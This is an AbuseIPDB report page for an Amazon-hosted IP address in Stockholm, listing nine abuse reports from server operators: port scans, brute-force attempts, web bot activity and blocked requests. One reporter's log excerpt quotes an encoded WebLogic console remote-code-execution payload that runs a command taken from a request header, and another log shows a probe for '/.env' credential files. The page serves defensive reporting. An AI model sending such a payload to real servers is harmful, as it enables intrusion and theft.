AbuseIPDB » 13.51.204.193
13.51.204.193
This IP was reported 9 times. Confidence of
Abuse
is 39% : ?
ISP
Amazon Data Services Sweden
Usage Type
Data Center/Web Hosting/Transit
ASN
AS16509
Hostname(s)
ec2-13-51-204-193.eu-north-1.compute.amazonaws.com
Domain Name
amazon.com
Country
🇸🇪
Sweden
City
Stockholm, Stockholm
IP info including ISP, Usage Type, and Location provided
by IPInfo . Updated weekly.
IP Abuse Reports for 13.51.204.193 :
This IP address has been reported a total of
9
times from
9 distinct
sources.
13.51.204.193 was first reported on
November 1st 2025 , and the most recent report was
1 day ago
Recent Reports:
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
Reporter
IoA Timestamp (UTC)
Comment
Categories
🇬🇧
thetomtaylor.co.uk
2026-08-30 10:08:02
(1 day ago)
Fail2Ban - [WEB]Custom exploit pattern detected on customexploits ... [ice01,ice02,wa01,wa02]
Hacking
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
Victor López
2026-08-29 17:00:22
(2 days ago)
82.197.66.178 13.51.204.193 - - [29/Aug/2026:12:00:21 -0500] "GET /console/images/%252E%252E%252Fcon ...
show more
82.197.66.178 13.51.204.193 - - [29/Aug/2026:12:00:21 -0500] "GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22weblogic.work.ExecuteThread%20thread%3D%28weblogic.work.ExecuteThread%29java.lang.Thread.currentThread%28%29%3Bweblogic.work.WorkAdapter%20adapter%3D%28weblogic.work.WorkAdapter%29thread.getCurrentWork%28%29%3Bjava.lang.reflect.Field%20f%3Dadapter.getClass%28%29.getDeclaredField%28%5C%22connectionHandler%5C%22%29%3Bf.setAccessible%28true%29%3BObject%20obj%3Df.get%28adapter%29%3Bweblogic.servlet.internal.ServletRequestImpl%20req%3D%28weblogic.servlet.internal.ServletRequestImpl%29obj.getClass%28%29.getMethod%28%5C%22getServletRequest%5C%22%29.invoke%28obj%29%3BString%20cmd%3Dreq.getHeader%28%5C%22cmd%5C%22%29%3Bif%28cmd%21%3Dnull%29%7BString%5B%5D%20cmds%3DSystem.getProperty%28%5C%22os.name%5C%22%29.toLowerCase%28%29.contains%28%5C%22win%5C%22%29%3Fnew%20String%5B%5D%7Bcmd%7D%3Anew%20String%5B%5D%7
...
show less
Hacking
Web App Attack
🇪🇸
bancix
2026-08-29 12:32:18
(2 days ago)
Heimdall NIDS: Automatic ban triggered. Reason: RST_LIMIT_EXCEEDED (5/5)
Port Scan
🇦🇹
Starburst SysOp Team
2026-08-29 11:30:55
(2 days ago)
Host header is a numeric IP address. Pattern match "(?:^( (920350-vie6-1)
Hacking
Bad Web Bot
🇪🇸
Michael McCarthy
2026-08-26 05:35:21
(5 days ago)
Web Spam
🇺🇸
shabi
2026-08-26 05:04:33
(5 days ago)
UFW Blocked [8000/TCP]
Source: 13.51.204.193:40666
TTL: 242
Lenth: 44
TOS: 0x00
Port Scan
2025-12-03 18:42:18
(8 months ago)
Ports: 80,443; Direction: 0; Trigger: LF_CUSTOMTRIGGER
Brute-Force
SSH
🇳🇱
homeshowdomain.nl
2025-11-02 22:59:33
(9 months ago)
Auto-ban: 302 malicious requests on 2025-11-01 (e.g., env/backup probes, brute-force, or error burst ...
show more
Auto-ban: 302 malicious requests on 2025-11-01 (e.g., env/backup probes, brute-force, or error bursts).
show less
Hacking
Web App Attack
SSH
🇺🇸
TPI-Abuse
2025-11-01 09:01:12
(9 months ago)
(mod_security) mod_security (id:210492) triggered by 13.51.204.193 (ec2-13-51-204-193.eu-north-1.com ...
show more
(mod_security) mod_security (id:210492) triggered by 13.51.204.193 (ec2-13-51-204-193.eu-north-1.compute.amazonaws.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Nov 01 05:01:08.289760 2025] [security2:error] [pid 4088:tid 4088] [client 13.51.204.193:35888] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "drbbenefits.com"] [uri "/.env"] [unique_id "aQXMVO0VUhrdKtOq013tAwAAAAk"]
show less
Brute-Force
Bad Web Bot
Web App Attack
Showing 1 to
9
of 9 reports
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown 🚩
Recently Reported IPs: